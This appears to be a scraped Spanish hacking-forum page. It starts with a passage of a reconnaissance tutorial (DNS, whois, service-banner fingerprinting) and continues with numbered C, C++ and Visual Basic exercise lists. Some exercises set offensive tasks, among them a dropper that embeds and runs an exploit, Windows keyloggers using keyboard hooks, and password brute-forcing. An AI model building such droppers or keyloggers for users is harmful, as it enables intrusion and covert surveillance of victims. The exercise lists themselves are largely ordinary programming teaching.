NS0.NS0.COM   internet address = 209.197.64.1
NS84.PAIR.COM   internet address = 209.68.1.177

   Como  puedes observar,  hemos obtenido  los NS  tanto primario
como   secundario   que  hace   que   insflug.org   este  asociado   a
209.197.122.174 siendo: NS0.NS0.COM  y NS84.PAIR.COM. Esta informacion
nos puede ser  de gran utilidad para cierto tipo de  cosas.  Lo que si
que puede ser de cierta utilidad es  saber que en los NS hay unas zone
files  en  las que  se  encuentra la  informacion  sobre  el dominio  a
analizar, de esta forma encontrariamos

         zone "insflug.org"{
         type master;
         file "insflug.org.zone";
    };

   en el fichero en el que se encontrase la informacion sobre las
secciones  de zona (algunas  veces /var/named/),  siendo la  zone file
para insflug.org /var/named/insflug.org.zone,  en el supuesto de estar
en /var/named/.  Alli encontrariamos

   @                 IN     NS     NS0.NS0.COM.
   www               IN     A      209.197.122.174
   ftp               IN     CNAME   www
         .....

   CNAME significa canonical name  y quiere decir que en realidad
la  ip  a   la  que  se  refiere  ftp.insflug.org   es  la  misma  que
www.insflug.org y que  en este caso es la  misma que insflug.org, como
podemos comprobar haciendo:

$ nslookup
Default Server:  ns1.worldonline.es
Address:  212.7.33.3

> set q=ns
> www.insflug.org
Server:  ns1.worldonline.es
Address:  212.7.33.3

Non-authoritative answer:
www.insflug.org   canonical name = insflug.org
      ...

> ftp.insflug.org
Server:  ns1.worldonline.es
Address:  212.7.33.3

ftp.insflug.org   canonical name = insflug.org
      ...

   De  esta  forma,  podremos  saber  si  los  demonios  de  ftp,
www...  de un dominio  se encuentran  en una  misma maquina  o maquinas
diferentes; muy util para tener una vision global del host a estudiar,
ya que  lo que en  principio se podria  pensar que era un  servidor en
particular  son  varios.  Ademas,  www.insflug.org  por ejemplo  puede
estar asociado a varias IPs y viceversa.

   Pese a  que para saber el  servidor de nombres  del servidor a
estudiar hemos utilizado  nslookup, que se supone que  es el metodo en
el cual  utilizamos un  poco "nuestros propios  medios", estos  NSs se
podrian saber haciendo uso del comando  que se utiliza en lo que viene
a continuacion: whois.


   Informacion del registro del dominio
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   Para  obtener informacion  sobre  el registro  de un  dominio,
entiendase  por dominio  ddd.xxx  y no  pr.ddd.xxx pr2.ddd.xxx...  que
serian considerados subdominios del primero,  se puede hacer uso de la
herramienta ya implementada  en la mayoria de los  unix whois. Asi, de
esta forma:

$ whois insflug.org
[whois.internic.net]

Whois Server Version 1.3

Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

  Domain Name: INSFLUG.ORG
  Registrar: NETWORK SOLUTIONS, INC.
  Whois Server: whois.networksolutions.com
  Referral URL: www.networksolutions.com
  Name Server: NS0.NS0.COM
  Name Server: NS84.PAIR.COM
  Updated Date: 24-jun-2000


>>> Last update of whois database: Mon, 25 Dec 2000 11:16:57 EST <<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.

   Puedes observar como se han obtenido tambien los servidores de
nombres que  contienen la entrada  insflug.org (por esto  lo comentado
anteriormente).  Pero, en realidad, esto la mayoria de las veces no es
de mucha utilidad ya que  actualmente los registros de dominios no son
directos y en realidad no figura  el nombre del que lo quiso registrar
sino de  la empresa intermediaria  que hizo efectivo el  registro.  Lo
que si que nos proporciona una informacion mucho mas completa es hacer
un whois  al Whois Server que  nos ha proporcionado  este primer whois
insflug.org que es whois.networksolutions.com, asi de esta forma:

$ whois insflug.org@whois.networksolutions.com
[whois.networksolutions.com]
The Data in  Network Solutions' WHOIS database is  provided by Network
Solutions for information purposes, and to assist persons in obtaining
information  about or related  to a  domain name  registration record.
Network Solutions  does not guarantee  its accuracy.  By  submitting a
WHOIS query,  you agree that  you will use  this Data only  for lawful
purposes and that,  under no circumstances will you  use this Data to:
(1) allow,  enable,  or otherwise  support  the  transmission of  mass
unsolicited,  commercial  advertising   or  solicitations  via  e-mail
(spam);  or (2)  enable high  volume, automated,  electronic processes
that apply  to Network Solutions (or its  systems).  Network Solutions
reserves the right  to modify these terms at  any time.  By submitting
this query, you agree to abide by this policy.

Registrant:
Impatient & 'Novatous' Spanish FidoNet Linux Users Group (INSFLUG-DOM)
  Avda. Pablo VI, 11 - 4C
  Dos Hermanas, Sevilla 41700
  ES

  Domain Name: INSFLUG.ORG

  Administrative Contact, Billing Contact:
     Montilla, Francisco J  (FJM43)  pacopepe@INSFLUG.ORG
     Impatient & 'Novatous' Spanish FidoNet Linux Users Group
     Avda. Pablo VI, 11 - 4C
     Dos Hermanas, Sevilla 41700
     ES
     +34 955679066 (FAX) +34 955679066
  Technical Contact:
     Administrator, Domain  (DA550)  domain@PAIR.COM
     pair Networks, Inc
     2403 Sidney St, Suite 510
     Pittsburgh, PA 15203
     +1 412 681 6932 (FAX) +1 412 381 9997

  Record last updated on 25-Jul-2000.
  Record expires on 24-Jun-2001.
  Record created on 24-Jun-1998.
  Database last updated on 25-Dec-2000 20:18:04 EST.

  Domain servers in listed order:

  NS84.PAIR.COM      209.68.1.177
  NS0.NS0.COM         209.197.64.1

   Vemos pues, una informacion mucho mas completa =) Para obtener
   informacion sobre dominios que  no sean .com, .net, .org, .edu
   tendremos que saber el servidor que nos permite hacer un whois
   de  dicho dominio,  ya que  con el  whois.internic.net  no nos
   permitira esa busqueda,

$ whois ctv.es
[whois.internic.net]

Whois Server Version 1.3

Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

No match for "CTV.ES".

>>> Last update of whois database: Mon, 25 Dec 2000 11:16:57 EST <<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.


  2. Analisis
     ========

   
   2.1 Sistema operativo
   ~~~~~~~~~~~~~~~~~~~~~
   
      I. Analisis sin conocimientos de la pila TCP/IP      
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   
   De  paquete,  algunos  sistemas operativos  (quizas  versiones
antiguas),  tenian  o  incluso  tienen "por  costumbre"  darnos  dicha
informacion   (so  y  version)   al  telnetear   al  servidor   y  los
administradores no se preocupan de modificarlo. Asi que siempre puedes
probar haber si hay suerte y por ejemplo te encuentras con:

$ telnet jeropa.com
Trying 64.60.1.66...
Connected to jeropa.com.
Escape character is '^]'.

Cobalt Linux release 4.0 (Fargo)
Kernel 2.0.34C53_SK on a mips

login:
      ...

   Lo  que  es  cierto,  es  que cualquier  sysadmin  serio  debe
preocuparse  de  cambiar esto,  ya  que  tampoco  hay que  dar  tantas
facilidades.  Pero, en la actualidad si que es cierto que cada vez son
mas los  sysadmins que cambian  esto e incluso  ponen un so  o version
falsa. Asi que esta tampoco va a ser una muy buena solucion para saber
el sistema operativo  de la maquina que tratamos.  (El escaner ISS, de
pago, utiliza esta "fiable" tecnica,  asi que te recomiendo usar queso
o nmap).

   Aun asi, podemos seguir  obteniendo informacion sobre el SO de
la  maquina a  estudiar de  forma  mas o  menos parecida  ya que,  por
ejemplo, si tiene operativo www, ftp o snmp, a lo mejor se puede hacer
una peticion  al servidor web,  ejecutar SYST en  una sesion de  FTP o
simplemente ver la version del cliente  de FTP o usar snmpwalk (de las
utilidades CMU SNMP) para conseguir cierta informacion respectivamente
y saber en algunos casos el SO; de esta forma, por ejemplo:

$ telnet www.microsoft.com 80
Trying 207.46.230.229...
Connected to www.microsoft.akadns.net.
Escape character is '^]'.
probando?
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Wed, 27 Dec 2000 00:03:18 GMT
               ...

   Te suena de  algo lo de IIS/5.0? Pues ya  sabes hablamos de un
win*.

 __

$ telnet ftp.ciudadfutura.com 21
Trying 216.35.70.14...
Connected to ftp.ciudadfutura.com.
Escape character is '^]'.
220 Serv-U FTP-Server v2.5e for WinSock ready...
         ...

   Y  por  tanto  si  revisamos las  caracteristicas  del  Serv-U
   FTP-Server,
      
   | "FTP Serv-U from is a full-featured
   | FTP server that allows you to turn almost any
   | MS  Windows (9x, NT, 2000) computer into an
   | Internet FTP Server."

   nos damos cuenta de que estamos hablando de una maquina win*.

      
#21
Ejercicios / Ejercicios C++
5 Julio 2004, 06:08 AM
Problemas básicos

Intentar realizar los ejercicios de C con operadores y notación C++

Ejercicio 300
Escribir un programa que lea una fecha en formato DD-MM-AAAA y calcule el número de días transcurridos desde el día 1 de Enero de ese año

Ejercicio 301
Imprimir el mayor, el menor, la suma y la media aritmética de diez números aceptados por teclado


Ejercicio 302
Calcular el tiempo equivalente en horas minutos y segundos a un número de segundos leído.
El resultado debe imprimirse en un formato como el siguiente:

7322 segundos equivalen a:  2 horas, 2 minutos y 2 segundos.

Ejercicio 303
Cálculo aproximado del valor del número e con una determinada precisión, siendo dicha precisión un dato de entrada
Este número se obtiene mediante la siguiente serie:
e = 1 +  1 / 1! + 1/ 2! + 1/3! +1/4! + .....

Ejercicio 304
Dado un mes del año, su número de días y el día de la semana en que comienza, realizar un programa que muestre por pantalla la representación del calendario correspondiente a dicho mes


Ejercicio 305
Escribir un programa que permita agregar nº enteros a una lista de números aceptada por teclado. El programa pregunta si debe agregar al principio, al final o en el medio y agrega el elemento a la lista.


Ejercicio 306
Escribir un programa que permita eliminar elementos de una lista de números aceptada por teclado. El programa pregunta qqué elemento borrar considerando que el primero por la izquierda es el 1.


Ejercicio 307
Realizar una aplicación para gestionar cierta información de los empleados de una empresa. El diseño (incompleto) de la aplicación estará formado por dos clases: la clase empleado y la clase empleadoPorHoras (que hereda de empleado), junto con un programa principal que llama a las operaciones públicas de ambas clases
Clase empleado: contiene como datos privados el nombre del empleado y su número de DNI. Además, sus métodos públicos son: un constructor de la clase, dos operaciones selectoras (GetNombre y GetDNI), y una operación destructora de la clase.
Clase empleadoPorHoras: contiene como datos privados el coste horario de un empleado y su número de horas trabajadas durante la semana. Además, dispone de los siguientes métodos públicos: un constructor de la clase (que requiere de su clase base el nombre y el DNI del empleado) y una operación llamada DevuelvePaga (que calcula la paga del empleado multiplicando su coste horario por el número de horas trabajadas).


Operaciones con ficheros

Ejercicio 308
Realizar un programa que permita elegir el formato (windows o linux) y permita escribir un determinado texto de cualquier tamaño y guardarlo en un archivo ascii con el formato especificado llamado c:\texto.txt.
Los archivos de texto windows tienen como marcador de final de línea la secuencia CR (retorno de carro ascii=13) y LF (line feed ascii=10). Los de Linux solo tienen LF.

Ejercicio 309
Realizar un programa que lea c:\texto.txt y proporcione las siguientes estadísticas: nº total de caracteres, nº de mayúsculas, nº de consonantes, nº de vocales y las cinco letras mas usadas
#22
Ejercicios / Ejercicios en C
2 Julio 2004, 00:28 AM
C Básico
Ejercicio 100
Escribir un programa que solicite una temperatura y sistema de medición (celsius o farenheit) y que haga la conversión al otro sistema.
(para pasar a farenheit y=5/9X-32) x=grados celsius

Ejercicio 101
Escribir un programa para el arqueo de caja de una tienda.

Se pide cuantas monedas de 1 centimo
Cuantas monedas de 2 centimos
Cuantas monedas de 5 centimos
Cuantas monedas de 10 centimos
Cuantas monedas de 20 centimos
Cuantas monedas de 50 centimos
Cuantas monedas de 1 Euro
Cuantas monedas de 2 Euros
Cuantos billetes de 5 Euros
Cuantos billetes de 10 euros
Cuantos billetes de 20 Euros
Cuantos billetes de 50 Euros
Cuantos billetes de 100 Euros
Cuantos billetes de 200 Euros
Cuantos billetes de 500 Euros
y calcular la suma total en euros

Ejercicio 102
Escribir un programa que solicite una cantidad entera en formato decimal y la convierta a binario y hexadecimal


Ejercicio 103
Escribir un programa que solicite tres números reales A, B y C y calcule Ax2+Bx+C=0


Ejercicio 104
Escribir un programa que solicite un año e indique si es bisiesto o no

Un año es bisiesto si es múltiplo de 4 excluyendo aquellos que son múltiplo de 100 y no de 400.

Ejercicio 105
Escribir un programa que calcule los 100 primeros números primos


Ejercicio 106
Escribir un programa que pregunte un número entero entre uno y 9 y genere la tabla de multiplicar de ese número
en el siguiente formato (p. ej el 7)
7 x 1 = 7
7 x 2 = 14
t x 3 = 21
7 x 4 = 28
7 x 5 = 35
...
7 x 10 = 70

Ejercicio 124
Conociendo las monedas y billetes que están en caja pedir el precio de compra de un producto y que el programa diga los cambios que hay que devolver
(no solo el importe sino como distribuirlo en monedas y billetes)
Para ello primero hay que preguntar que monedas y billetes tenemos y luego que cantidad hay que cobrar.

Ejercicio 107
Realizar un programa que solicite una cantidad entera. Dada esa cantidad X debe solicitar X números y ordenarlos de mayor a menor


Ejercicio 108
Realizar un programa que solicite el nombre, dirección y teléfono de 5 personas. Una vez metidos preguntará un número entre 1 y 5 para sacar la información de esa persona.
El cero termina


Ejercicio 119
Realizar un programa que solicite una máscara de subred y devuelva una ip válida.


Ejercicio 127
Comprobar que una codificacion de tarjeta de credito es valida,y si nos es valida t dice k numero tienes k cambiarle para hacerla valida.

El numero se compone de tres partes principales:
Los 4 primeros digitos componen el identificativo del banco que cede la tarjeta.hay un numero diferente para cada banco(esto se busca en internet).
El 5 digito es el tipo de tarjeta e indica que entidad financiera gestiona esta tarjeta.Las mas importantes son Visa(4),american Expres(3),Master card(5),Discover(6).
los 10 digitos siguientes componen el numero de usuario e identifican a este de manera unica.
Digito de control es el ultimo numero y se obtiene aplicando un algoritmo al resto del numero.
El formato es el siguiente 1111 2333 3333 3334
algoritmo de codificacion:
Se realiza en tres pasos.
Si tenemos el numero de la tarjeta 4539 4512 0398 7356 y queremos comprobar que es válido:

1.Multiplicamos por dos los numeros de las posiciones imapres(4-3-4-1-0-9-7-5) y dejarlos con un solo digito.
4*2=8
3*2=6
4*2=81*2=2
0*2=0
9*2=18-->1+8=9
7*2=14--->1+4=5
5*2=10--->1+0=1

2.Sumar los digitos de las posiciones pares y los nuevos de las posiciones impares.
5+9+5+2+3+8+6+     8+6+8+2+0+9+5+1=80

3.Si el resultado es multiplo de 10 entonces el numero es valido.

Acceso a ficheros

Ejercicio 122
Escribir un programa que solicite palabras y las agrege a un fichero llamado c:\diccionario de forma que luego se puedan consultar las palabras una a  una


Ejercicio 109
Escribir un fichero que contenga 255 caracteres cualesquiera y los guarde en c:\exploit.exe


Ejercicio 110
Comprobar si existe el fichero c:\exploit.exe y si existe que lo lea y lo conserve en un array


Ejercicio 111
Escribir un programa que lea el archivo c:\exploit.exe y genere un archivo c:\ExploitCompleto.exe que será un archivo ejecutable. Al ejecutarse hace:
a) crea el archivo exploit.exe (lo tiene metido en un array)
b) realiza una serie de comprobaciones (las que queramos)
c) según el resultado de esas comprobaciones (figuradamente versión del sistema operativo por ejemplo) ejecuta exploit.exe con el parámetro correspondiente a la versión obtenida
Esas comprobaciones pueden ser sumar dos números aleatorios y si es par usar un parámetro, si es impar usar otro.
Naturalmente si en exploit.exe no hay un código real no funcionará, pero quizá podais intentar meter allí un código real que haga algo

Ejercicio 112
Realizar un keylogger que detecte las pulsaciones y las escriba a un fichero llamado log.txt utilizando las apis de windows


Comunicaciones

Ejercicio 113
Escribir un programa que escuche en el puerto 4500


Ejercicio 114
Escribir un programa que haga ping para encontrar un servidor que escuche en el puerto 4500


Ejercicio 115
Escribir un programa en que en el que un servidor escucha en el puerto 4500 y si un cliente intenta conectarse se le envía una paquete donde se le solicita que se identifique y queda a la escucha para recibir identificación.

Si el cliente es aceptado se le envía al cliente una aceptación
Si el cliente es rechazado se le envía al cliente una denegación

La estructura del paquete de comunicaciones es:
código: 5 dígitos
(código 1 = presentación (quién soy), código 2 = solicitud de identificación (¿quién eres?) código=3 = aceptación ("aceptado") código 4 = denegación (rechazado)
usuario (máximo 20 caracteres)
clave (máximo 10 caracteres)
ip_propia (20 caracteres)
puerto_propio (5 caracteres)

Ejercicio 116
Realizar una aplicación de cliente que busque a un servidor mediante un ping y si lo encuentra le envie un paquete
con la siguiente información:
código = 1
Nombre de usuario (obligatoriamente 20 caracteres)
contraseña: (obligatoriamente 10 caracteres)
ip_local: la ip del cliente
puerto_local (el puerto donde escuchar la respuesta)
y quede a la escucha para recibir aceptación

Ejercicio 126
Realizar una aplicación que solicite usuario y contraseña y carpeta e intente realizar una sesión ftp con ese usuario y contraseña para subir todos los archivos que estén en esa carpeta.

Si se llama a la aplicación con el parámetro /D entonces en vez de subirlos baja todos los archivos que estén allí a esa carpeta.
Se considera que todos los archivos son texto.


Operaciones de bit

Ejercicio 117
escribir un programa al que solicita una máscara de subred en formato decimal. El programa devolverá todas las subredes con la siguiente información: Dirección de red, rango de direcciones válido, dirección de broadcast


Ejercicio 118
Escribir un programa que solicita una máscara de subred y dos direcciones ip. El programa informará si ambas direcciónes están en la misma subred o no


Seguridad

Ejercicio 120
Realizar un programa que solicite una clave y luego por iteraciones encuentre la clave


Ejercicio 121
Realizar un programa que solicite una clave y luego buscando en un diccionario de palabras del ejercicio 122 intente encontrar la clave


Ejercicio 123
Escribir un programa que solicite usuario y contraseña. La contraseña se cifra como querais y se vuelve a solicitar contraseña (para verificar).
Se cifra y se compara con la anterior (es decir no se comparan las contraseñas sino su resultado cifrado).

Ejercicio 125
Escribir un programa que permita codificar/descodificar una determinada clave que se pasa como argumento. Si se pasa el parámetro /c hay que codificar. Si se pasa el parámetro /d hay que descodificar. Si no se pone se asume '/c'. Si no se pone clave no hace nada.
El formato será por tanto "aplicación [/d /c] clave
El sistema de cifrado será base64
http://foro.elhacker.net/index.php/topic,9039.0
#23
Ejercicios / Pantallazos acceso a datos
1 Julio 2004, 10:13 AM
Estos son los pantallazos correspondientes a los ejercicios de acceso a datos.

Como vereis las pantallas no se corresponden exactamente a lo solicitado en el ejercicio, pero no iba a hacer la aplicación entera de nuevo pudiendo coger estos pantallazos que ilustran perfectamente lo que se quiere obtener.

Los nombres propios, direcciones y teléfonos han sido borrados pues son reales

El primero es la pantalla principal de clientes.
Al escribir en el textbox amarillo se encuentra rápidamente al cliente buscado.
Se puede ordenar por cualquier lado
Al dar doble click en un cliente se puede hacer cualquier cosa con ese cliente en el menú que sale (2º pantalla)

Al dar de alta un cliente se piden los datos de cliente. Este mismo formulario se utiliza también para modificar y ver un cliente. (3º pantallazo)

Seguidamente muestro un pantallazo de las facturas donde la lógica es la misma pudiendo ordenar por donde se quiera y localizar una factura con escribir su número o su cliente (4º pantallazo)

Seguidamente pantallazo del proceso de altas. Primero se piden datos básicos de factura (5º pantallazo) y si se escriben todos correctamente se pueden meter datos en esa factura (6º pantallazo)
#24
Estas son las pantallas de los ejercicios 5 y 6
#25
Estas son las pantallas de los ejercicios 3 y 4
#26
Estas son las pantallas para los ejercicios 1 y 2
#27
Ejercicios / Ejercicios en Visual Basic 6
1 Julio 2004, 00:01 AM
Ejercicios básicos de iniciación

Ejercicio 1
Realizar una aplicación que genere los cinco números de la loto (esto es cinco números aleatorios entre 1 y 99 no repetidos)

Habrá un botón para calcular los números y otro para imprimir el resultado
http://foro.elhacker.net/index.php/topic,34848.0

Ejercicio 2
Realizar una aplicación que solicite nombre, apellido 1º, apellido 2º, dirección, población, código postal, teléfono, email, nº de cuenta corriente, fecha de nacimiento, sexo, estado civil y documento nacional de identidad. Habrá un botón de aceptar que compruebe que todo está bien y en su caso saldrá un mensaje de 'información correcta' y si no 'Información incorrecta'

Se deben comprobar todos los campos.
Solo se admiten mayúsculas
Nombre, apellido 1 y apellido 2 tienen longitud 20
Dirección longitud 50
El código postal son siempre cinco números.
Población: longitud 20
El teléfono puede contener números, espacio y guiones. Longitud máxima 12
La fecha de nacimiento debe ser una fecha válida en formado DD-MM-AAAA (esto es que el 29 de febrero es válido solo en un año bisiesto)
El Documento nacional de identidad son 8 números obligatorios, luego un guión obligatorio y una letra mayúscula obligatoria.
El número de cuenta tiene el siguiente formato:
4 dígitos obligatorios, un guión, cuatro dígitos obligatorios, un guión, dos dígitos obligatorios, un guión y diez dígitos obligatorios. Si hace falta se rellena cada parte con ceros a la izquierda.
Pantallazo aquí
http://foro.elhacker.net/index.php/topic,34848.0

Ejercicio 3
Realizar una aplicación que solicite nombre de usuario y contraseña.
Si no se escribe contraseña sale un mensaje que indica que hay que meter contraseña. Si se mete contraseña sale un formulario en el que se pide que se reescriba la contraseña.
Al salir de este segundo formulario se comprueba la contraseña y si son distintas saldrá un mensaje que indique que la contraseña no es válida. Si está bien la aplicación termina
Pantallazo aquí
http://foro.elhacker.net/index.php/topic,34849.0

Ejercicio 4
Realizar una aplicación que solicite los nombres de diez personas. Según se van escribiendo esos nombres, se van introduciendo en un listbox y quedan ordenados.

Pantallazo aquí
http://foro.elhacker.net/index.php/topic,34849.0

Ejercicio 5
Realizar una aplicación en la que un listbox tiene 10 entradas debidamente ordenadas.
Hay otro listbox vacío.
Se dispone de cuatro botones que permten pasar todo del 1º al segundo o del 2º al primero, pasar un elemento solamente de uno a otro.
Al pasar un elemento de un listbox a otro queda ordenado en el destino y se borra del origen

Pantallazo aquí
http://foro.elhacker.net/index.php/topic,34850.0

Ejercicio 6
Realizar una aplicación que permita elegir un gráfico de una carpeta.

Para ello se dispone de un combo con las siguientes opciones: '*.gif', '*.jpg','*.png'
Se dispone de un control en el que se puede cambiar la unidad.
Se dispone de un control en el ques se puede elegir la carpeta de la unidad especificada anteriormente
Se dispone de un control en el que se ven los ficheros que estén en la carpeta indicada anteriormente y que cumplan la norma del combo.
Se dispone de un recuadro donde se puede ver en miniatura la imagen
Al darle doble click al archivo, sale el mensaje 'Seleccionada imagen XXX'
Pantallazo aquí http://foro.elhacker.net/index.php/topic,34850.0

Ejercicio 18
Crear un formulario transparente o con fondo degradado


Acceso a ficheros
Ejercicio 7
Realizar una aplicación que al iniciarse busque un archivo de configuración.

Compruebe si existe un archivo llamado 'c:\config.ini'. Si existe lee su contenido y lo muestra, si no existe saca un formulario que solicita la posición de los datos y la guarda en 'c:\config.ini'

Ejercicio 8
Realizar una aplicación que solicite una clave y la guarde en un fichero llamado 'c:\clave.txt' cifrada como querais


Ejercicio 9
Realizar una aplicación que lea un archivo c:\clave.txt donde está una clave cifrada y la desencripte


Comunicaciones
Ejercicio 10
Realizar una aplicación que ponga a la escucha el puerto 4500

Ejercicio 11
Realizar una aplicación que se conecte a un ordenador determinado en el puerto 4500 y le envíe la ip

Ejercicio 12
Realizar una aplicación que haga ping en una determinada subred para buscar un servidor que atiende en el puerto 4500


Ejercicio 13
Realizar una aplicación que sirva para jugar al tres en raya dos jugadores en red


Ejercicio 14
Realizar una aplicación de servidor en la que este está a la escucha en el puerto 4500.

Cuando un cliente intenta conectarse se le envía una paquete donde se le solicita que se identifique y queda a la escucha para recibir identificación.
Cuando el cliente se identifica aparece en la barra de estado la siguiente información:
Estado: conectado. Usuario: (nombre). Inicio de sesión: hora, ip: ip_cliente (puerto_cliente)
En este caso se le envía al cliente una aceptación
Si el cliente es rechazado aparece
Estado: rechazado. Usuario: (nombre). Inicio de sesión: hora ip: ip_cliente (puerto_cliente).
En este caso se le envía al cliente una denegación

La estructura del paquete de comunicaciones es:
código: 5 dígitos
(código 1 = presentación (quién soy), código 2 = solicitud de identificación (¿quién eres?) código=3 = aceptación ("aceptado") código 4 = denegación (rechazado)
usuario (máximo 20 caracteres)
clave (máximo 10 caracteres)


Ejercicio 15
Realizar una aplicación de cliente que busque a un servidor mediante un ping y si lo encuentra le envie un paquete con la siguiente información:

código = 1
Nombre de usuario (obligatoriamente 20 caracteres)
contraseña: (obligatoriamente 10 caracteres)
y quede a la escucha para recibir aceptación

Ejercicio 19
Realizar una aplicación que solicite usuario, contraseña y un determinado archivo. El programa será capaz de subir o bajar ese archivo a un determinado servidor ftp.


Acceso a datos mediante DAO con DATA
Partimos de una base de datos Access 97 con la siguiente estructura:
Tabla clientes
Codigo autonumérico
Nombre texto 20
Apellidos texto 40
Dirección texto 50
Población texto 20
CodigoPostal texto 5
Telefono texto 12
DNI texto 10
Indexada por Codigo sin duplicados. Nombre de Indice: 'indice'

Articulos
Codigo autonumerico
Nombre texto 20
precio moneda
Indexada por Codigo sin duplicados. Nombre de Indice: 'indice'

Tabla facturas
Codigo autonumerico
CodigoCliente long
NumFactura texto 10
FechaFactura date
FormaPago texto 20
Importe currency
Impuestos currency
Total currency
Indexada por Codigo sin duplicados. Nombre del Indice: 'Indice'

tabla EntradasFacturas
CodigoFactura long
CodigoArticulo long
Cantidad single
Importe currency
Indexada por CodigoFactura con duplicados. Nombre del índice: 'indice'

Ejercicio 16
Realizar una aplicación que sirva para gestionar clientes. Altas, bajas, modificaciones, consultas, eliminación

Para ello al entrar en la aplicación sale un grid que llena toda la pantalla con los siguientes datos: nombre, apellidos, dirección, teléfono. Estos datos NO SON EDITABLES.
Al pinchar en el encabezado de una columna se ordena todo el grid por esa columna.
En el text1 se puede escribir parte de un nombre. Al ir pulsando el cursor se va posicionando de forma automática en el cliente posible.
El botón buscar siguiente busca el siguiente cliente que contega el string buscado en el nombre.
Al hacer doble click en un cliente sale un formulario modal centrado en pantalla con las opciones: 'Agregar cliente', 'Eliminar cliente', 'Ver cliente','Modificar cliente' y 'salir'
Al elegir agregar nos saldrá un formulario vacío para rellenar y agregarlo a los clientes.
Al elegir ver saldrá EL MISMO formulario con los datos del cliente seleccionado (no editables)
Al elegir modificar saldrá EL MISMO formulario con los datos del cliente seleccionado (Editables)
Al elegir salir se sale al formulario general

Ejercicio 17
Realizar una aplicación para gestionar artículos

Repetir la aplicación anterior pero con artículos en vez de con clientes.

Ejercicio 18
Realizar una aplicación para gestionar facturas

Realizar una aplicación que sirva para gestionar facturas. Altas, bajas, modificaciones, consultas, eliminación[/b]
Para ello al entrar en la aplicación sale un grid que llena toda la pantalla con los siguientes datos: fecha, factura,cliente, importe, forma de pago Estos datos NO SON EDITABLES.
Al pinchar en el encabezado de una columna se ordena todo el grid por esa columna.
En el text1 se puede escribir un numero de factura. Al ir pulsando el cursor se va posicionando de forma automática en la factura posible.
En el texto2 se puede escribir un nombre de cliente. Al ir pulsando el cursor se va posicionando de forma automática en el cliente posible.
Al pulsar en filtro se muestran en el grid solamente las facturas correspondientes al cliente seleccionado.
El botón buscar siguiente busca la siguiente factura que contenga el string buscado en el nombre.
Pantallazos en http://foro.elhacker.net/index.php/topic,34889.0
¿Como agregar facturas?
Al hacer doble click en una factura sale un formulario modal centrado en pantalla con las opciones: 'Agregar factura', 'Eliminar factura', 'Ver factura','Modificar factura', 'imprimir factura' y 'salir'
Al elegir agregar nos saldrá un formulario vacío para rellenar y agregarlo a las facturas. En él se nos solicita el cliente, numero de factura y fecha. Hasta que no se dan datos válidos no se puede pasar de ahí
Al pasar de ahí ya no se pueden modificar los datos introducidos, pero sale un formulario donde podemos agregar las entradas de la factura. En este formulario hay un grid conectado a 'entradasfacturas' con las columnas codigo_articulo, cantidad, nombre,precio_unitario,precio_total.
Las columnas nombre y precio_unitario no son modificables.
al escribir codigo_articulo se busca en la tabla de articulos y si se encuentra se rellena automáticamente su nombre y su precio. Al escribir cantidad se calcula automáticamente el precio_total
Al pulsar terminar se calcula el importe final y se actualizan los siguientes datos:
En la tabla entradasfacturas se actualizan todos los datos que están en el dbgrid para que su codigofactura sea igual al código de la factura pedida
En la tabla facturas se actualiza el importe para que sea la suma de todos los precio_total calculados en el dbgrid
En la tabla facturas se actualizan los impuestos correspondientes a esa factura.
En la tabla facturas se actualiza el total siendo este la suma de importe+impuestos

¿Como consultar facturas?
Al elegir ver saldrá EL MISMO formulario con los datos del cliente seleccionado (no editables)

¿Como modificar Facturas?
Al elegir modificar saldrá EL MISMO formulario con los datos del cliente seleccionado (Editables)

¿Como imprimir facturas?
Al elegir imprimir se saca una copia de esa factura por impresora.

Al elegir salir se sale al formulario general

Acceso a datos mediante DAO sin data
Repetir la aplicación anterior sin usar un control data.
Pantallazos en http://foro.elhacker.net/index.php/topic,34889.0


Acceso a datos mediante DAO con ADODC
Repetir la aplicación anterior mediante un datagrid y un adodc
Pantallazos en http://foro.elhacker.net/index.php/topic,34889.0


Acceso a datos mediante DAO sin ADODC
Repetir la aplicación anterior con objetos connection.

Pantallazos en http://foro.elhacker.net/index.php/topic,34889.0

Acceso a las apis de Windows
Ejercicio 19
Crear una rutina para el control de teclado tipo keylogger

a) por el método de escaneo del teclado
b) por el método del gancho de teclado (hook)

Acceso al registro
Ejercicio 20
Realizar una aplicación que al iniciarse busque una clave en el registro.

Si existe lee su contenido y lo muestra, si no existe saca un formulario que solicita la posición de los datos y la guarda en el registro.

Ejercicio 21
Realizar una aplicación que solicite una clave y la guarde en un una clave del registro cifrada como querais


Ejercicio 22
Realizar una aplicación que lea una clave del registro donde está una clave cifrada y la desencripte

#28
Ejercicios / SUGERENCIAS
30 Junio 2004, 23:40 PM
Poned aquí todas las sugerencias que se os ocurran.

El propósito de esta sección es profundizar en nuestros conocimientos de programación de manera que si teneis proyectos en mente, teneis ejercicios que pensais son interesantes para poner, se os ocurren nuevas cosas que podais poner, etc posteadlos aquí.

;D
#29
Ejercicios / REGLAS ¡NO FALTARLAS!
30 Junio 2004, 23:37 PM
Hola
El propósito de esta nueva sección es el de profundizar en nuestros conocimientos informáticos mediante la resolución de problemas informáticos a los que tendremos que buscar una solución.

Por tanto esta sección es para ejercicios y solo para ejercicios. Podeis postear problemas relativos a esos ejercicios ¿como se hace? ¿por qué esto? ¿por que no funciona? ¡opino que sería mejor así! ...

Para las dudas de programación en general tenéis el foro de programación donde siempre ha estado y estará.

Próximamente iremos publicando problemas a resolver para que los vayáis haciendo y posteando las dudas, etc.

Cuando respondáis a un ejercicio no olvidéis poned el ejercicio al que estáis respondiendo y el lenguaje. Así he pensado darle a cada ejercicio un número y con eso bastará de manera que para postear sobre el ejercicio nº 4 ponéis:
'4 - duda con ...'

Para postear el código no olvidéis remarcarlo como lo que es (código), o sea usando las etiquetas [code ] [/code ]

A pesar de ser un subforo de Ejercicios, no está permitido hacer/pedir deberes o tareas. Se adjunta lo que se lleva hecho del código
y se intentará ayudar.

Un saludo
#30
Hola

